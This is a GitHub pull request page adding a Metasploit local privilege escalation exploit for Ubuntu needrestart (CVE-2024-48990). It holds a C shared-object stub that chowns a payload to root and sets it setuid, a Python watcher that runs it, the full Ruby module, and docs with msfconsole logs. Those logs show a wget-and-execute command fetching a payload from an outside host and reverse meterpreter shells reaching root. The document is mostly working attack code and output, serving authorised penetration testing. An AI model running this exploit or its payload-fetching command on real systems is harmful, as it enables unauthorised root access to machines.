Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Ubuntu needrestart LPE (CVE-2024-48990) #19676

Merged
merged 9 commits into from
Jan 10, 2025
Merged
Show file tree
Hide file tree
Changes from 7 commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
27 changes: 27 additions & 0 deletions data/exploits/CVE-2024-48990/lib.metasm
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
/*
// system call
#include <stdlib.h>
// setuid, setgid
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
setuid(0);
setgid(0);
const char *shell = "chown root:root PAYLOAD_PATH; chmod a+x PAYLOAD_PATH; chmod u+s PAYLOAD_PATH &";
system(shell);
}
*/

extern int setuid(int);
extern int setgid(int);
extern int system(const char *__s);

void a(void) __attribute__((constructor));

void __attribute__((constructor)) a() {
setuid(0);
setgid(0);
system("chown root:root 'PAYLOAD_PATH'; chmod a+x,u+s 'PAYLOAD_PATH'");
}
17 changes: 17 additions & 0 deletions data/exploits/CVE-2024-48990/sleeper.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,17 @@
import os
import time
import pwd

print("#########################\n\nDont mind the error message above\n\nWaiting for needrestart to run...")

while True:
try:
file_stat = os.stat('PAYLOAD_PATH')
except FileNotFoundError:
exit()
username = pwd.getpwuid(file_stat.st_uid).pw_name
#print(f"Payload owned by: {username}. Stats: {file_stat}")
if (username == 'root'):
os.system('PAYLOAD_PATH &')
exit()
time.sleep(1)
140 changes: 140 additions & 0 deletions documentation/modules/exploit/linux/local/ubuntu_needrestart_lpe.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,140 @@
## Vulnerable Application

Local attackers can execute arbitrary code as root by
tricking needrestart into running the Python interpreter with an
attacker-controlled PYTHONPATH environment variable.

Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1

Exploitation against vulnerable needrestart versions on
Debian 12 and Fedora 39 were unsuccessful
however install and run instructions are listed below.

### Debian

Install: `apt-get install needrestart=3.6-4+deb12u1`

Binary location: `/usr/sbin/needrestart`

### Fedora 39

Install: `dnf install needrestart-3.6-9.fc39.noarch`

Binary location: `/usr/sbin/needrestart`

## Verification Steps

1. Install the application
2. Start msfconsole
3. Get an initial shell
4. Do: `use exploit/linux/local/ubuntu_needrestart_lpe`
5. Do: `set lhost <ip>`
6. Do: `set lport <port>`
7. Do: `set session <session>`
8. Do: `run`
9. You should get a root shell.

## Options

## Scenarios

### Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1

Gain initial shell

```
msf6 > use exploit/multi/script/web_delivery
998
run[*] Using configured payload python/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set target 7
target => 7
msf6 exploit(multi/script/web_delivery) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/script/web_delivery) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(multi/script/web_delivery) > set lport 4998
lport => 4998
msf6 exploit(multi/script/web_delivery) > set srvport 8998
srvport => 8998
msf6 exploit(multi/script/web_delivery) > run
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
msf6 exploit(multi/script/web_delivery) >
[*] Started reverse TCP handler on 1.1.1.1:4998
[*] Using URL: http://1.1.1.1:8998/dKtdkMS
[*] Server started.
[*] Run the following command on the target machine:
wget -qO Ejq8lHli --no-check-certificate http://1.1.1.1:8998/dKtdkMS; chmod +x Ejq8lHli; ./Ejq8lHli& disown
[*] 2.2.2.2 web_delivery - Delivering Payload (250 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] Meterpreter session 1 opened (1.1.1.1:4998 -> 2.2.2.2:52004) at 2024-11-22 12:07:55 -0500

msf6 exploit(multi/script/web_delivery) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: h00die
meterpreter > background
[*] Backgrounding session 1...
```

Priv Esc

```
msf6 exploit(multi/script/web_delivery) > use exploit/linux/local/ubuntu_needrestart_lpe
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lhost 1.1.1.1
lhost => 1.1.1.1
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set lport 4977
lport => 4977
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set session 1
session => 1
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > set verbose true
verbose => true
msf6 exploit(linux/local/ubuntu_needrestart_lpe) > run

[*] Started reverse TCP handler on 1.1.1.1:4977
[*] Running automatic check ("set AutoCheck false" to disable)

[+] The target appears to be vulnerable. Vulnerable needrestart version 3.5-5ubuntu2.1 detected on Ubuntu 22.04
[*] Writing '/tmp/.1K8Hy2tOtq' (250 bytes) ...
[*] Uploading payload: /tmp/.1K8Hy2tOtq
[*] Creating directory /tmp/importlib
[*] /tmp/importlib created
[*] Uploading c_stub: /tmp/importlib/__init__.so
[*] Uploading py_script: /tmp/.FzzlJ
[*] Launching exploit, and waiting for needrestart to run...
```

On the remote Ubuntu box run `sudo needrestart`

```
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 2.2.2.2
[*] chown: changing ownership of '/tmp/.1K8Hy2tOtq': Operation not permitted
[*] Error processing line 1 of /usr/lib/python3/dist-packages/zope.interface-5.4.0-nspkg.pth:
[*]
[*] Traceback (most recent call last):
[*] File "/usr/lib/python3.10/site.py", line 192, in addpackage
[*] exec(line)
[*] File "<string>", line 1, in <module>
[*] ImportError: dynamic module does not define module export function (PyInit_importlib)
h00die marked this conversation as resolved.
Show resolved Hide resolved
[*]
[*] Remainder of file ignored
[*] #########################
[*]
[*] Dont mind the error message above
[*]
[*] Waiting for needrestart to run...
[*] Payload owned by: root
[+] Deleted /tmp/.1K8Hy2tOtq
[+] Deleted /tmp/.FzzlJ
[+] Deleted /tmp/importlib
[*] Meterpreter session 2 opened (1.1.1.1:4977 -> 2.2.2.2:57644) at 2024-11-22 12:08:28 -0500

meterpreter >
meterpreter > getuid
Server username: root
```
173 changes: 173 additions & 0 deletions modules/exploits/linux/local/ubuntu_needrestart_lpe.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,173 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = GreatRanking

include Msf::Post::Linux::Priv
include Msf::Post::Linux::System
include Msf::Post::File
include Msf::Exploit::EXE
include Msf::Post::Linux::Kernel
include Msf::Exploit::FileDropper
include Msf::Post::Linux::Compile
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Ubuntu needrestart Privilege Escalation',
'Description' => %q{
Local attackers can execute arbitrary code as root by
tricking needrestart into running the Python interpreter with an
attacker-controlled PYTHONPATH environment variable.

Verified against Ubuntu 22.04 with needrestart 3.5-5ubuntu2.1
Attempted exploitation against Debian 12, expliotation failed
},
'License' => MSF_LICENSE,
'Author' => [
'h00die', # msf module
'makuga01', # PoC
'qualys' # original advisory
],
'Platform' => [ 'linux' ],
'Arch' => [ ARCH_X86, ARCH_X64 ],
'Stance' => Msf::Exploit::Stance::Passive, # seems to not work...
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
'SessionTypes' => [ 'shell', 'meterpreter' ],
'Targets' => [[ 'Auto', {} ]],
'Privileged' => true,
'References' => [
[ 'URL', 'https://github.com/makuga01/CVE-2024-48990-PoC'],
[ 'URL', 'https://www.qualys.com/2024/11/19/needrestart/needrestart.txt'],
[ 'CVE', '2024-48990']
],
'DisclosureDate' => '2024-11-19',
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [ARTIFACTS_ON_DISK]
}
)
)
register_advanced_options [
OptString.new('WritableDir', [ true, 'A directory where we can write and execute files', '/tmp' ])
]
end

def base_dir
datastore['WritableDir'].to_s
end

def check
# fedora https://bodhi.fedoraproject.org/updates/FEDORA-2024-a9cf3dad4f
# debian https://security-tracker.debian.org/tracker/CVE-2024-48990
fixed_versions = {
'24.10' => Rex::Version.new('3.6-8ubuntu4.2'),
'24.04' => Rex::Version.new('3.6-7ubuntu4.3'),
'22.04' => Rex::Version.new('3.5-5ubuntu2.2'),
'20.04' => Rex::Version.new('3.4-6ubuntu0.1.esm1'),
'18.04' => Rex::Version.new('3.1-1ubuntu0.1.esm1'),
'16.04' => Rex::Version.new('2.6-1ubuntu0.1.esm1'),
'12' => Rex::Version.new('3.6-4.deb12u2'), # debian bookworm
'11' => Rex::Version.new('3.5-4.deb11u4'), # debian bullseye
# may be more versions, but this felt good enough
'38' => Rex::Version.new('3.8-1'),
'39' => Rex::Version.new('3.8-1'),
'40' => Rex::Version.new('3.8-1'),
'41' => Rex::Version.new('3.8-1')
}
info = get_sysinfo
return CheckCode::Safe('Only Ubuntu/Debian/Fedora have check functionality') unless ['debian', 'ubuntu', 'fedora'].include? info[:distro]

if info[:distro] == 'ubuntu'
version = info[:version].split(' ')[1].slice(0, 5) # take off any extra version info
return CheckCode::Safe("Ubuntu version #{version} is not vulnerable or untested") unless fixed_versions.key? version
elsif info[:distro] == 'debian'
return CheckCode::Safe('Debian may be vulnerable however the exploit does not work against it')
elsif info[:distro] == 'fedora'
return CheckCode::Safe('Fedora may be vulnerable however the exploit does not work against it')
end

return CheckCode::Safe('needrestart binary not found') unless command_exists?('needrestart')

package = cmd_exec('dpkg -l needrestart | grep \'^ii\'')
package = package.split(' ')[2]
package = package.gsub('+', '.')
package = package.gsub('needrestart-', '') # fedora specific
h00die marked this conversation as resolved.
Show resolved Hide resolved
package = Rex::Version.new(package)
return CheckCode::Safe('needrestart not install, or not detected.') if package.nil?
h00die marked this conversation as resolved.
Show resolved Hide resolved

return CheckCode::Appears("Vulnerable needrestart version #{package} detected on Ubuntu #{version}") if package < fixed_versions[version]

CheckCode::Safe("needrestart is not vulnerable on Ubuntu #{version}")
h00die marked this conversation as resolved.
Show resolved Hide resolved
end

def exploit
# Check if we're already root
if !datastore['ForceExploit'] && is_root?
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override'
end

# Make sure we can write our exploit and payload to the local system
unless writable? base_dir
fail_with Failure::BadConfig, "#{base_dir} is not writable"
end

# upload payload
payload_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
upload_and_chmodx payload_path, generate_payload_exe
vprint_status("Uploading payload: #{payload_path}")
register_files_for_cleanup(payload_path)

# our c stub file does our chmod/chown/suid for the payload
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
c_stub = strip_comments(exploit_data('CVE-2024-48990', 'lib.metasm'))
c_stub = c_stub.gsub('PAYLOAD_PATH', payload_path)

case kernel_arch
when ARCH_X86
cpu = Metasm::Ia32.new
when ARCH_X64
cpu = Metasm::X86_64.new
else
fail_with Failure::NoTarget, 'Target is not compatible'
end

begin
c_stub = Metasm::ELF.compile_c(cpu, c_stub).encode_string(:lib)
h00die marked this conversation as resolved.
Show resolved Hide resolved
c_stub_path = "#{base_dir}/importlib/__init__.so"
rescue StandardError
print_error "Metasm encoding failed: #{$ERROR_INFO}"
elog "Metasm encoding failed: #{$ERROR_INFO.class} : #{$ERROR_INFO}"
elog "Call stack:\n#{$ERROR_INFO.backtrace.join "\n"}"
fail_with Failure::Unknown, 'Metasm encoding failed'
end

mkdir "#{base_dir}/importlib"
write_file(c_stub_path, c_stub)
vprint_status("Uploading c_stub: #{c_stub_path}")
register_files_for_cleanup(c_stub_path)
register_dir_for_cleanup("#{base_dir}/importlib")

# the python script is needed for having the PYTHONPATH set and watches
# for our payload to be modified, then run it
py_script = strip_comments(exploit_data('CVE-2024-48990', 'sleeper.py'))
py_script = py_script.gsub('PAYLOAD_PATH', payload_path)

py_stub_path = "#{base_dir}/.#{rand_text_alphanumeric(5..10)}"
write_file py_stub_path, py_script
vprint_status("Uploading py_script: #{py_stub_path}")
register_files_for_cleanup(py_stub_path)

# Launch exploit with a timeout. We also have a vprint_status so if the user wants all the
# output from the exploit being run, they can optionally see it
timeout = 90_000 # 25 hours
print_status 'Launching exploit, and waiting for needrestart to run...'
jheysel-r7 marked this conversation as resolved.
Show resolved Hide resolved
output = cmd_exec "PYTHONPATH=\"#{base_dir}\" python3 '#{py_stub_path}'", nil, timeout
output.each_line { |line| vprint_status line.chomp }
end
end